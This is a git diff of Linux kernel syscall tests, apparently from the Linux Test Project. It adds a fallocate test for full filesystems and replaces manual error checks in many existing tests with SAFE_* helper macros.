diff --git a/testcases/kernel/syscalls/fallocate/fallocate05.c b/testcases/kernel/syscalls/fallocate/fallocate05.c
new file mode 100644
index 0000000..1fac26a
--- /dev/null
+++ b/testcases/kernel/syscalls/fallocate/fallocate05.c
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Tests that writing to fallocated file works when filesystem is full.
+ */
+
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <fcntl.h>
+#include "tst_test.h"
+#include "lapi/fallocate.h"
+
+#define MNTPOINT "mntpoint"
+#define FALLOCATE_SIZE 8192
+
+static int fd;
+
+static void run(void)
+{
+	char buf[FALLOCATE_SIZE];
+	ssize_t ret;
+
+	fd = SAFE_OPEN(MNTPOINT "/test_file", O_WRONLY | O_CREAT);
+
+	if (fallocate(fd, 0, 0, FALLOCATE_SIZE)) {
+		if (errno == EOPNOTSUPP) {
+			tst_res(TCONF | TERRNO, "fallocate() not supported");
+			SAFE_CLOSE(fd);
+			return;
+		}
+
+		tst_brk(TBROK | TERRNO,
+			"fallocate(fd, 0, 0, %i)", FALLOCATE_SIZE);
+	}
+
+	tst_fill_fs(MNTPOINT, 1);
+
+	ret = write(fd, buf, sizeof(buf));
+
+	if (ret < 0)
+		tst_res(TFAIL | TERRNO, "write() failed unexpectedly");
+	else
+		tst_res(TPASS, "write() wrote %zu bytes", ret);
+
+	ret = fallocate(fd, 0, FALLOCATE_SIZE, FALLOCATE_SIZE);
+	if (ret != -1)
+		tst_brk(TFAIL, "fallocate() succeeded unexpectedly");
+
+	if (errno != ENOSPC)
+		tst_brk(TFAIL | TERRNO, "fallocate() should fail with ENOSPC");
+
+	tst_res(TPASS | TERRNO, "fallocate() on full FS");
+
+	ret = fallocate(fd, FALLOC_FL_PUNCH_HOLE, 0, FALLOCATE_SIZE);
+	if (ret == -1) {
+		if (errno == EOPNOTSUPP)
+			tst_brk(TCONF, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+
+		tst_brk(TBROK | TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+	}
+	tst_res(TPASS, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+
+	ret = write(fd, buf, 10);
+	if (ret == -1)
+		tst_res(TFAIL | TERRNO, "write()");
+	else
+		tst_res(TPASS, "write()");
+
+	SAFE_CLOSE(fd);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/fanotify/fanotify03.c b/testcases/kernel/syscalls/fanotify/fanotify03.c
index 3a75ac2..4000420 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify03.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify03.c
@@ -130,24 +130,12 @@
 		tst_brk(TBROK | TERRNO,
 			 "sigaction(SIGCHLD, &child_action, NULL) failed");
 	}
-	if (waitpid(-1, &child_ret, 0) < 0) {
-		tst_brk(TBROK | TERRNO,
-				 "waitpid(-1, &child_ret, 0) failed");
-	}
+	SAFE_WAITPID(-1, &child_ret, 0);
 
-	if (WIFSIGNALED(child_ret)) {
-		tst_res(TFAIL, "child exited due to signal %d",
-			 WTERMSIG(child_ret));
-	} else if (WIFEXITED(child_ret)) {
-		if (WEXITSTATUS(child_ret) == 0)
-			tst_res(TPASS, "child exited correctly");
-		else
-			tst_res(TFAIL, "child exited with status %d",
-				 WEXITSTATUS(child_ret));
-	} else {
-		tst_res(TFAIL, "child exited for unknown reason (status %d)",
-			 child_ret);
-	}
+	if (WIFEXITED(child_ret) && WEXITSTATUS(child_ret) == 0)
+		tst_res(TPASS, "child exited correctly");
+	else
+		tst_res(TFAIL, "child %s", tst_strstatus(child_ret));
 }
 
 void test01(void)
@@ -157,10 +145,7 @@
 	int ret, len = 0, i = 0, test_num = 0;
 
 	if (fd_notify_backup == -1) {
-		fd_notify_backup = dup(fd_notify);
-		if (fd_notify_backup < 0)
-			tst_brk(TBROK | TERRNO,
-				 "dup(%d) failed", fd_notify);
+		fd_notify_backup = SAFE_DUP(fd_notify);
 	}
 	run_child();
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify08.c b/testcases/kernel/syscalls/fanotify/fanotify08.c
index dc916ec..8d3d40e 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify08.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify08.c
@@ -53,9 +53,9 @@
 	ret = SAFE_FCNTL(fd_notify, F_GETFD);
 
 	if ((ret & FD_CLOEXEC) == fd_bit) {
-		tst_res(TPASS, msg);
+		tst_res(TPASS, "%s", msg);
 	} else {
-		tst_res(TFAIL, msg);
+		tst_res(TFAIL, "%s", msg);
 	}
 
 	SAFE_CLOSE(fd_notify);
diff --git a/testcases/kernel/syscalls/fchmod/fchmod02.c b/testcases/kernel/syscalls/fchmod/fchmod02.c
index 1cf944f..684eb8c 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod02.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod02.c
@@ -81,6 +81,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #ifdef ANDROID
@@ -196,14 +197,10 @@
 			 TESTFILE, FILE_MODE, errno, strerror(errno));
 	}
 
-	if (chown(TESTFILE, user1_uid, group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", TESTFILE);
-	}
+	SAFE_CHOWN(cleanup, TESTFILE, user1_uid, group1_gid);
 
 	/* Set the effective gid of the process to that of user */
-	if (setgid(group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "setgid(2) to %d failed", group1_gid);
-	}
+	SAFE_SETGID(cleanup, group1_gid);
 }
 
 /*
@@ -217,10 +214,7 @@
 {
 
 	/* Close the testfile created in the setup() */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, NULL, "close(%s) Failed, errno=%d : %s",
-			 TESTFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fd);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/fchmod/fchmod03.c b/testcases/kernel/syscalls/fchmod/fchmod03.c
index a3e79b3..8d35bc1 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod03.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod03.c
@@ -80,6 +80,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE       (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
 #define PERMS		01777
@@ -147,8 +148,7 @@
 	ltpuser = getpwnam(nobody_uid);
 	if (ltpuser == NULL)
 		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-	if (seteuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "seteuid failed");
+	SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 	TEST_PAUSE;
 
diff --git a/testcases/kernel/syscalls/fchmod/fchmod04.c b/testcases/kernel/syscalls/fchmod/fchmod04.c
index 77948fd..27e3bdc 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod04.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod04.c
@@ -80,6 +80,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define DIR_MODE 	S_IRWXU | S_IRWXG | S_IRWXO
 #define PERMS		01777	/*
@@ -169,9 +170,7 @@
 	 * Create a test directory under temporary directory with specified
 	 * mode permissios and open it for reading/writing.
 	 */
-	if (mkdir(TESTDIR, DIR_MODE) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", TESTDIR);
-	}
+	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
 	if ((fd = open(TESTDIR, O_RDONLY)) == -1) {
 		tst_brkm(TBROK, cleanup,
 			 "open(%s, O_RDONLY) failed, errno=%d : %s",
@@ -190,11 +189,7 @@
 {
 
 	/* Close the test directory opened during setup() */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, NULL,
-			 "close(%s) Failed, errno=%d : %s",
-			 TESTDIR, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fd);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/fchmod/fchmod05.c b/testcases/kernel/syscalls/fchmod/fchmod05.c
index 8ab75c8..e8a4a98 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod05.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod05.c
@@ -87,6 +87,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define MODE_RWX	(S_IRWXU | S_IRWXG | S_IRWXO)
 #define PERMS		043777
@@ -191,18 +192,14 @@
 	 * mode permissions and change the gid of test directory to that of
 	 * guest user.
 	 */
-	if (mkdir(TESTDIR, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", TESTDIR);
-	}
+	SAFE_MKDIR(cleanup, TESTDIR, MODE_RWX);
 
 	if (setgroups(1, &nobody_u->pw_gid) == -1)
 		tst_brkm(TBROK, cleanup,
 			 "Couldn't change supplementary group Id: %s",
 			 strerror(errno));
 
-	if (chown(TESTDIR, nobody_u->pw_uid, bin_group->gr_gid) == -1)
-		tst_brkm(TBROK, cleanup, "Couldn't change owner of testdir: %s",
-			 strerror(errno));
+	SAFE_CHOWN(cleanup, TESTDIR, nobody_u->pw_uid, bin_group->gr_gid);
 
 	/* change to nobody:nobody */
 	if (setegid(nobody_u->pw_gid) == -1 || seteuid(nobody_u->pw_uid) == -1)
@@ -210,12 +207,7 @@
 			 strerror(errno));
 
 	/* Open the test directory for reading */
-	fd = open(TESTDIR, O_RDONLY);
-	if (fd == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDONLY) failed, errno=%d : %s",
-			 TESTDIR, errno, strerror(errno));
-	}
+	fd = SAFE_OPEN(cleanup, TESTDIR, O_RDONLY);
 }
 
 /*
@@ -230,11 +222,7 @@
 {
 
 	/* Close the test directory opened in the setup() */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, NULL,
-			 "close(%s) Failed, errno=%d : %s",
-			 TESTDIR, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fd);
 
 	setegid(0);
 	seteuid(0);
diff --git a/testcases/kernel/syscalls/fchmod/fchmod06.c b/testcases/kernel/syscalls/fchmod/fchmod06.c
index 619d54e..a5c6d91 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod06.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod06.c
@@ -131,20 +131,14 @@
 
 	SAFE_MKDIR(cleanup, "mntpoint", 0755);
 
-	if (mount(device, "mntpoint", fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
 	mount_flag = 1;
 
 	/* Create a file in the file system, then remount it as read-only */
 	SAFE_TOUCH(cleanup, "mntpoint/tfile_3", 0644, NULL);
 
-	if (mount(device, "mntpoint", fs_type,
-		  MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
+		   MS_REMOUNT | MS_RDONLY, NULL);
 
 	fd3 = SAFE_OPEN(cleanup, "mntpoint/tfile_3", O_RDONLY);
 
diff --git a/testcases/kernel/syscalls/fchmod/fchmod07.c b/testcases/kernel/syscalls/fchmod/fchmod07.c
index ab03721..66032e4 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod07.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod07.c
@@ -74,6 +74,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define TESTFILE	"testfile"
@@ -186,11 +187,7 @@
 {
 
 	/* Close the TESTFILE opened in the setup() */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, NULL,
-			 "close(%s) Failed, errno=%d : %s",
-			 TESTFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fd);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/fchown/fchown04.c b/testcases/kernel/syscalls/fchown/fchown04.c
index bae0796..12e3326 100644
--- a/testcases/kernel/syscalls/fchown/fchown04.c
+++ b/testcases/kernel/syscalls/fchown/fchown04.c
@@ -115,17 +115,11 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	if (mount(device, "mntpoint", fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
 	mount_flag = 1;
 	SAFE_TOUCH(cleanup, "mntpoint/tfile_3", 0644, NULL);
-	if (mount(device, "mntpoint", fs_type,
-		  MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
+		   MS_REMOUNT | MS_RDONLY, NULL);
 	fd3 = SAFE_OPEN(cleanup, "mntpoint/tfile_3", O_RDONLY);
 
 	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
diff --git a/testcases/kernel/syscalls/fcntl/fcntl14.c b/testcases/kernel/syscalls/fcntl/fcntl14.c
index 1799084..ca68d0f 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl14.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl14.c
@@ -48,6 +48,7 @@
 #include <sys/wait.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define SKIP 0x0c00
 #if SKIP == F_RDLCK || SKIP== F_WRLCK
@@ -778,16 +779,13 @@
 	fail = 0;
 
 	for (test = start; test < end; test++) {
-		fd = open(tmpname, file_flag, file_mode);
-		if (fd < 0)
-			tst_brkm(TBROK, cleanup, "open() failed");
+		fd = SAFE_OPEN(cleanup, tmpname, file_flag, file_mode);
 
 		if (write(fd, FILEDATA, 10) < 0)
 			tst_brkm(TBROK, cleanup, "write() failed");
 
 		if (seek) {
-			if (lseek(fd, seek, 0) < 0)
-				tst_brkm(TBROK, cleanup, "lseek() failed");
+			SAFE_LSEEK(cleanup, fd, seek, 0);
 		}
 
 		thiscase = &testcases[test];
@@ -1017,9 +1015,8 @@
 		 * argument used for WHENCE (negative value)
 		 */
 
-		fd = open(tmpname, O_CREAT | O_RDWR | O_TRUNC, 0777);
-		if (fd < 0)
-			tst_brkm(TBROK, cleanup, "open failed");
+		fd = SAFE_OPEN(cleanup, tmpname, O_CREAT | O_RDWR | O_TRUNC,
+			       0777);
 
 		if (write(fd, FILEDATA, 10) < 0)
 			tst_brkm(TBROK, cleanup, "write failed");
@@ -1055,9 +1052,8 @@
 		 * additional data is appended to end of file and a new
 		 * process attempts to lock new data
 		 */
-		fd = open(tmpname, O_CREAT | O_RDWR | O_TRUNC, 0777);
-		if (fd < 0)
-			tst_brkm(TBROK, cleanup, "open failed");
+		fd = SAFE_OPEN(cleanup, tmpname, O_CREAT | O_RDWR | O_TRUNC,
+			       0777);
 
 		if (write(fd, FILEDATA, 10) < 0)
 			tst_brkm(TBROK, cleanup, "write failed");
diff --git a/testcases/kernel/syscalls/fcntl/fcntl16.c b/testcases/kernel/syscalls/fcntl/fcntl16.c
index c9defc6..a77a812 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl16.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl16.c
@@ -46,6 +46,7 @@
 #include <signal.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/wait.h>
@@ -451,10 +452,7 @@
 	/* loop through all test cases */
 	for (test = start; test < end; test++) {
 		/* open a temp file to lock */
-		fd = open(tmpname, file_flag, file_mode);
-		if (fd < 0) {
-			tst_brkm(TBROK, cleanup, "open failed");
-		}
+		fd = SAFE_OPEN(cleanup, tmpname, file_flag, file_mode);
 
 		/* write some dummy data to the file */
 		(void)write(fd, FILEDATA, 10);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl34.c b/testcases/kernel/syscalls/fcntl/fcntl34.c
index c778db0..aa29cf9 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl34.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl34.c
@@ -76,15 +76,13 @@
 
 	for (i = 0; i < writes_num; ++i) {
 		lck.l_type = F_WRLCK;
-		if (fcntl(fd, F_OFD_SETLKW, &lck) == -1)
-			tst_brk(TBROK | TERRNO, "fcntl() failed");
+		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
 
 		SAFE_LSEEK(fd, 0, SEEK_END);
 		SAFE_WRITE(1, fd, buf, write_size);
 
 		lck.l_type = F_UNLCK;
-		if (fcntl(fd, F_OFD_SETLKW, &lck) == -1)
-			tst_brk(TBROK | TERRNO, "fcntl() failed");
+		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
 
 		sched_yield();
 	}
diff --git a/testcases/kernel/syscalls/fcntl/fcntl36.c b/testcases/kernel/syscalls/fcntl/fcntl36.c
index 6f2eb6b..3246d13 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl36.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl36.c
@@ -300,7 +300,7 @@
 	struct param p2[thread_cnt];
 	unsigned char buf[write_size];
 
-	tst_res(TINFO, msg);
+	tst_res(TINFO, "%s", msg);
 
 	if (tst_fill_file(fname, 1, write_size, thread_cnt + 1))
 		tst_brk(TBROK, "Failed to create tst file");
diff --git a/testcases/kernel/syscalls/fdatasync/fdatasync02.c b/testcases/kernel/syscalls/fdatasync/fdatasync02.c
index 5f0d492..9ce4fc7 100644
--- a/testcases/kernel/syscalls/fdatasync/fdatasync02.c
+++ b/testcases/kernel/syscalls/fdatasync/fdatasync02.c
@@ -76,6 +76,7 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define EXP_RET_VAL	-1
 #define SPL_FILE	"/dev/null"
@@ -166,9 +167,7 @@
 void cleanup2(void)
 {
 	/* close special file */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to close fd of %s", SPL_FILE);
-	}
+	SAFE_CLOSE(NULL, fd);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/flock/flock01.c b/testcases/kernel/syscalls/flock/flock01.c
index 06d89e3..a4133f1 100644
--- a/testcases/kernel/syscalls/flock/flock01.c
+++ b/testcases/kernel/syscalls/flock/flock01.c
@@ -71,6 +71,7 @@
 #include <sys/file.h>
 #include <fcntl.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -154,9 +155,7 @@
 	sprintf(filename, "flock01.%d", getpid());
 
 	/* creating temporary file */
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0644);
-	if (fd < 0)
-		tst_brkm(TBROK, tst_rmdir, "creating a new file failed");
+	fd = SAFE_OPEN(tst_rmdir, filename, O_CREAT | O_TRUNC | O_RDWR, 0644);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/flock/flock04.c b/testcases/kernel/syscalls/flock/flock04.c
index 87f1dfb..8a282b4 100644
--- a/testcases/kernel/syscalls/flock/flock04.c
+++ b/testcases/kernel/syscalls/flock/flock04.c
@@ -76,6 +76,7 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -117,9 +118,9 @@
 						 "flock() PASSED in acquiring shared lock on "
 						 "Share Locked file");
 				exit(0);
-			} else if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			} else {
+				SAFE_WAIT(cleanup, &status);
+			}
 
 			pid = FORK_OR_VFORK();
 			if (pid == -1)
diff --git a/testcases/kernel/syscalls/flock/flock06.c b/testcases/kernel/syscalls/flock/flock06.c
index a35c8cf..617eddf 100644
--- a/testcases/kernel/syscalls/flock/flock06.c
+++ b/testcases/kernel/syscalls/flock/flock06.c
@@ -67,6 +67,7 @@
 #include <sys/file.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -158,9 +159,7 @@
 	sprintf(filename, "flock06.%d", getpid());
 
 	/* creating temporary file */
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	if (fd < 0)
-		tst_brkm(TBROK, tst_rmdir, "creating a new file failed");
+	fd = SAFE_OPEN(tst_rmdir, filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
 	close(fd);
 }
 
diff --git a/testcases/kernel/syscalls/fork/fork04.c b/testcases/kernel/syscalls/fork/fork04.c
index d6b57d9..208636c 100644
--- a/testcases/kernel/syscalls/fork/fork04.c
+++ b/testcases/kernel/syscalls/fork/fork04.c
@@ -103,6 +103,7 @@
 #include <signal.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "fork04";
 
@@ -241,12 +242,7 @@
 	int ret;
 	char *var;
 
-	fildes = open(OUTPUT_FILE, O_RDWR);
-	if (fildes == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "fork() test. Parent open of temporary file failed. errno %d (%s)\n",
-			 errno, strerror(errno));
-	}
+	fildes = SAFE_OPEN(cleanup, OUTPUT_FILE, O_RDWR);
 	for (index = 0; index < NUMBER_OF_ENVIRON; index++) {
 		ret = read(fildes, tmp_line, MAX_LINE_LENGTH);
 		if (ret == 0) {
diff --git a/testcases/kernel/syscalls/fork/fork09.c b/testcases/kernel/syscalls/fork/fork09.c
index 35ba015..32bad89 100644
--- a/testcases/kernel/syscalls/fork/fork09.c
+++ b/testcases/kernel/syscalls/fork/fork09.c
@@ -47,6 +47,7 @@
 #include <errno.h>
 #include <unistd.h>		/* for _SC_OPEN_MAX */
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "fork09";
 int TST_TOTAL = 1;
@@ -83,17 +84,12 @@
 
 		/* establish first free file */
 		sprintf(filname, "fork09.%d", mypid);
-		first = creat(filname, 0660);
-		if (first == -1)
-			tst_brkm(TBROK, cleanup, "Cannot open first file %s, "
-				 "errno = %d", filname, errno);
+		first = SAFE_CREAT(cleanup, filname, 0660);
 		close(first);
 
 		tst_resm(TINFO, "first file descriptor is %d ", first);
 
-		if (unlink(filname) == -1)
-			tst_brkm(TBROK, cleanup, "Cannot unlink file %s, "
-				 "errno = %d", filname, errno);
+		SAFE_UNLINK(cleanup, filname);
 
 		/*
 		 * now open all the files for the test
diff --git a/testcases/kernel/syscalls/fork/fork10.c b/testcases/kernel/syscalls/fork/fork10.c
index 381ce67..815eee1 100644
--- a/testcases/kernel/syscalls/fork/fork10.c
+++ b/testcases/kernel/syscalls/fork/fork10.c
@@ -45,6 +45,7 @@
 #include <stdio.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "fork10";
 int TST_TOTAL = 1;
@@ -72,18 +73,11 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		fildes = creat(fnamebuf, 0600);
-		if (fildes < 0)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "Parent: cannot open %s for " "write",
-				 fnamebuf);
+		fildes = SAFE_CREAT(cleanup, fnamebuf, 0600);
 		write(fildes, "ABCDEFGHIJKLMNOPQRSTUVWXYZ\n", 27);
 		close(fildes);
 
-		fildes = open(fnamebuf, 0);
-		if (fildes == -1)
-			tst_brkm(TBROK, cleanup, "Parent: cannot open %s for "
-				 "reading", fnamebuf);
+		fildes = SAFE_OPEN(cleanup, fnamebuf, 0);
 
 		pid = fork();
 		if (pid == -1)
diff --git a/testcases/kernel/syscalls/fork/fork12.c b/testcases/kernel/syscalls/fork/fork12.c
index 711fe98..75278b0 100644
--- a/testcases/kernel/syscalls/fork/fork12.c
+++ b/testcases/kernel/syscalls/fork/fork12.c
@@ -44,6 +44,7 @@
 #include <errno.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "fork12";
 int TST_TOTAL = 1;
@@ -73,11 +74,7 @@
 				exit(0);
 			}
 			forks++;
-			ret = waitpid(-1, &status, WNOHANG);
-			if (ret < 0)
-				tst_brkm(TBROK, cleanup,
-					 "waitpid failed %d: %s\n", errno,
-					 strerror(errno));
+			ret = SAFE_WAITPID(cleanup, -1, &status, WNOHANG);
 			if (ret > 0) {
 				/* a child may be killed by OOM killer */
 				if (WTERMSIG(status) == SIGKILL)
diff --git a/testcases/kernel/syscalls/fork/fork14.c b/testcases/kernel/syscalls/fork/fork14.c
index bbc1d3d..6ea92e0 100644
--- a/testcases/kernel/syscalls/fork/fork14.c
+++ b/testcases/kernel/syscalls/fork/fork14.c
@@ -121,8 +121,7 @@
 		case 0:
 			exit(0);
 		default:
-			if (waitpid(-1, NULL, 0) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+			SAFE_WAITPID(cleanup, -1, NULL, 0);
 
 			if (prev_failed > 0 && i >= LARGE) {
 				tst_resm(TFAIL, "Fork succeeds incorrectly");
diff --git a/testcases/kernel/syscalls/fstat/fstat01.c b/testcases/kernel/syscalls/fstat/fstat01.c
index 2ceed22..a5940c6 100644
--- a/testcases/kernel/syscalls/fstat/fstat01.c
+++ b/testcases/kernel/syscalls/fstat/fstat01.c
@@ -116,6 +116,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -161,9 +162,7 @@
 	tst_tmpdir();
 
 	sprintf(fname, "tfile_%d", getpid());
-	fd = open(fname, O_RDWR | O_CREAT, 0700);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/fstat/fstat03.c b/testcases/kernel/syscalls/fstat/fstat03.c
index 45e27b4..0fa62b8 100644
--- a/testcases/kernel/syscalls/fstat/fstat03.c
+++ b/testcases/kernel/syscalls/fstat/fstat03.c
@@ -57,6 +57,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define TEST_FILE	"testfile"
@@ -136,14 +137,9 @@
 	tst_tmpdir();
 
 	/* Create a testfile under temporary directory */
-	fildes = open(TEST_FILE, O_RDWR | O_CREAT, 0666);
-	if (fildes == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, 0666) failed", TEST_FILE);
+	fildes = SAFE_OPEN(cleanup, TEST_FILE, O_RDWR | O_CREAT, 0666);
 
-	if (close(fildes) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed",
-			 TEST_FILE);
+	SAFE_CLOSE(cleanup, fildes);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/fstat/fstat05.c b/testcases/kernel/syscalls/fstat/fstat05.c
index 7e4a4f1..8de5d07 100644
--- a/testcases/kernel/syscalls/fstat/fstat05.c
+++ b/testcases/kernel/syscalls/fstat/fstat05.c
@@ -93,6 +93,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEST_FILE       "testfile"
 
@@ -205,17 +206,12 @@
 		signal(siglist[i], &sighandler);
 
 	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "setuid(%d) failed",
-			 ltpuser->pw_uid);
+	SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 	tst_tmpdir();
 
 	/* Create a testfile under temporary directory */
-	fildes = open(TEST_FILE, O_RDWR | O_CREAT, 0666);
-	if (fildes == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, 0666) failed", TEST_FILE);
+	fildes = SAFE_OPEN(cleanup, TEST_FILE, O_RDWR | O_CREAT, 0666);
 
 	TEST_PAUSE;
 }
@@ -232,9 +228,7 @@
 void cleanup(void)
 {
 
-	if (close(fildes) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed",
-			 TEST_FILE);
+	SAFE_CLOSE(cleanup, fildes);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/fsync/fsync01.c b/testcases/kernel/syscalls/fsync/fsync01.c
index d7cc4f0..c93b131 100644
--- a/testcases/kernel/syscalls/fsync/fsync01.c
+++ b/testcases/kernel/syscalls/fsync/fsync01.c
@@ -1,5 +1,7 @@
 /*
